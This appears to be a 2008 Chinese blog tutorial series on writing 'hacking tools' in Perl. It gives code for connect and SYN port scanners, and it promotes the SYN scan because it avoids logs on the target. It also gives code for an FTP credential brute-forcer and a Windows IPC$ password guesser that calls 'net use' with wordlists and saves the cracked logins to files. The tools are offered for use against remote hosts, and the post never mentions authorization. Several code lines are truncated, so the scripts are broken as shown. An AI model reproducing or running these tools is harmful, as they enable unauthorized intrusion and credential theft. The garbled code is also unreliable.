分类: LINUX
2008-07-01 11:18:31
学计算机程序的朋友最大的愿望就是能编出一款功能强大的
程序,但实现起来却不容易,需要花很多时间来学习计算机语言,今天我就给大家介绍一个好用网络编程语言Practical Extraction
and Report Language(perl),严格的说它只是个脚本语言,Perl象C一样强大,象awk、sed等脚本描述语言一样方便。
如果你用的是unix环境那你一定对perl很熟悉了,今天我要谈的是在windows下用perl来打造一个自己满意的程序,如果你学过c语言的话,那你上手一定很快,因为他很c语言很相似。
我们先来看一个简单的程序:
#usr/bin/perl
print "你好!请输入你的名字:";
$name=
chop( $name);
print " $name你好!欢迎你来到perl的世界。\n"
是不是感觉很简单,在也不要用english来对话了。perl为我们提供了很多功能,你只要对这些功能了解,就会很方便的写出让自己满意的程序。
我们先来看看它的网络编程,在perl里面提供了很多模块,我要做的就是调用这些模块来完成自己要做的。我们今天就来学习一个perl打造的Connect扫描器。
#!usr/bin/perl #perl程序开头标式
use IO::Socket; #载如IO::Socket包
print "请输入你要扫描的主机:";
$ARGV[0]=
chop($ARGV[0]); #把最后一个字符删除
$host=$ARGV[0];
$file="ports.txt";
open(FILE," $file")||die " $file端口文件是不是你搞丢了啊?自己重写一个吧\n"; #打开文件
while(@all=
print"正在扫描 $host……\n";
foreach $port (@all){
$sock=IO::Socket::INET->new(PeerAddr=> $host,PeerPort=> $port,Timeout=>60); #新建IO::Socket::INET对象 $sock
if( $sock){ #判断端口是否打开
print(" $host主机-> $port端口打开着!\n"); $sock->close; #关闭SOCKET对象
}else{
print " $port关闭着!\n";
}
}print("\n");
}print("端口扫描结束,谢谢使用!");
exit 1;
看明白了吗?是不是很容易?这样我们就能对远程主机扫描了,这个connect连接的优点就是速度快,但被主机记录。这个程序只是个单线程的,速度不是很快。下面是demonalex的一个多线程的Connect扫描程序。
#!usr/bin/perl -w
#duo_xian_scan2.pl
use IO::Socket;
use Thread;
@port=(21,23,80);
$ip= $ARGV[0];
foreach $result (@port){
Thread->new(\&sock, $ip, $result);
Thread->self->join;
}
exit 1;
sub sock{
$remote_ip=shift;
$remote_port=shift;
$sock=IO::Socket::INET->new(" $remote_ip: $remote_port");
if(defined $sock){
print"***The $remote_ip\'s $remote_port is OPENED!***\n";
$sock->close;
}else{
print"***The $remote_ip\'s $remote_port is CLOSED!***\n";
}
return;
}
这个程序把扫描的一块定义成一个子程序,然后调用多线程的模块,来调用子程序。调试不成功?呵呵,我也没成功,我把Thread->self->join;改成了Thread->join;就成功运行。
好了,今天这个connect扫描器就讲到这里了。
perl打造自己的黑客工具(2)
上一次我们是讲的connect扫描,今天我们讲用perl实现syn扫描,也叫"半开放"扫描,也就是发送一个syn包来探测,由于只没和远程主机完成三次会话,所以一般不会在远程机器上留下记录。
好了,不多说了,看看代码吧。
#usr/bin/perl
use IO::Socket;
use Net::Ping; # 载入模块 print "请输入你要扫描的主机:";
$host=
chop( $host);
$file="ports.txt";
open(FILE," $file")||die "找不到 $file端口文件\n" ; #打开文件
while(@all=
print"正在扫描……\n";
foreach $port(@all){ #循环读取端口
$syn=Net::Ping->new("syn"); #发送syn包
$syn->{ port_num }= $port; #发送到指定port
$syn->ping( $host); #发送到指定host
if( $syn->ack){ #判断返回信息
print(" $host主机-> $port端口打开着!\n"); $syn->close;
} }
}print("\n");print("端口扫描结束,谢谢使用!");exit 1;
不要我说太多吧,和原来的程序差不多哦。如果嫌扫描程序不够快,那就把它换成个多线程的啊,呵呵。
在第一节我就讲到perl提供了很多模块,我们只要会调用这些模块我们就可以写出自己的网络应用程序,今天我就来介绍一个perl写的ftp猜解器。原理很简单,利用perl的模块与远程主机建立连接,如果成功就显示破解成功,没成功则继续利用下一个用户和密码猜解。
#usr/bin/perl
use NET::FTP;
print "请输入你要猜解的主机:";
$host=
print "开始暴力破解……";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开用户名文件
while(@user=
foreach $user(@user){ #循环读取用户名
chop( $user);
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开密码文件
while(@password=
foreach $password(@password){ #循环读取密码 chop( $password);
print "\n";
print "\n";
$ftp=Net::FTP->new( $host) || die "连接不上远程计算机!\n" ; #与远程主机建立连接
print "正在破解 $user-> $password\n";
if( $ftp){
$a= $ftp->login( $user, $password); #发送用户名和密码
$ftp->quit; # 退出ftp会话
if ( $a==1)
{
print "恭喜你!发现弱口令! 用户名 $user 密码: $password\n";
open (H,">>ftpscan.txt")||die "打不开ftpscan.txt\n"; #打开文件将破解好的用户和密码放进去
print H "主机 $host用户名: $user 密码: $password \n";
close H;
}
}
}
}
}
}
print "结果已写入ftpscan.txt文件请查看\n";
又是一个简单的例子,你是不是觉得自己突然强大起来了?呵呵。
perl打造自己的黑客工具(4)
前面几篇我们都是利用perl模块来实现任务的,今天我们就用perl调用系统命令来实现IPC $远程猜解,适合win2k以上的系统。代码也十分简单。
#usr/bin/perl
print "请输入要猜解的IP:";
$host=
chop( $host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=
foreach $name(@user){
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=
foreach $password(@pass){
chop( $password);
print ("正在尝试 $name $password\n"); #从这里往上不要我解释了吧
$check=system ("net use \\\\ $host\\ipc\ $ $password /user: $name"); #调用perl函数,执行系统命令
if(! $check) { #判断连接是否成功
system ("net use \\\\ $host\\ipc\ $ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机 $host用户名: $name 密码: $password \n";
close H;
}
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";
好了,是不是很简单,发挥你的想象,自己也创造一个自己需要的工具。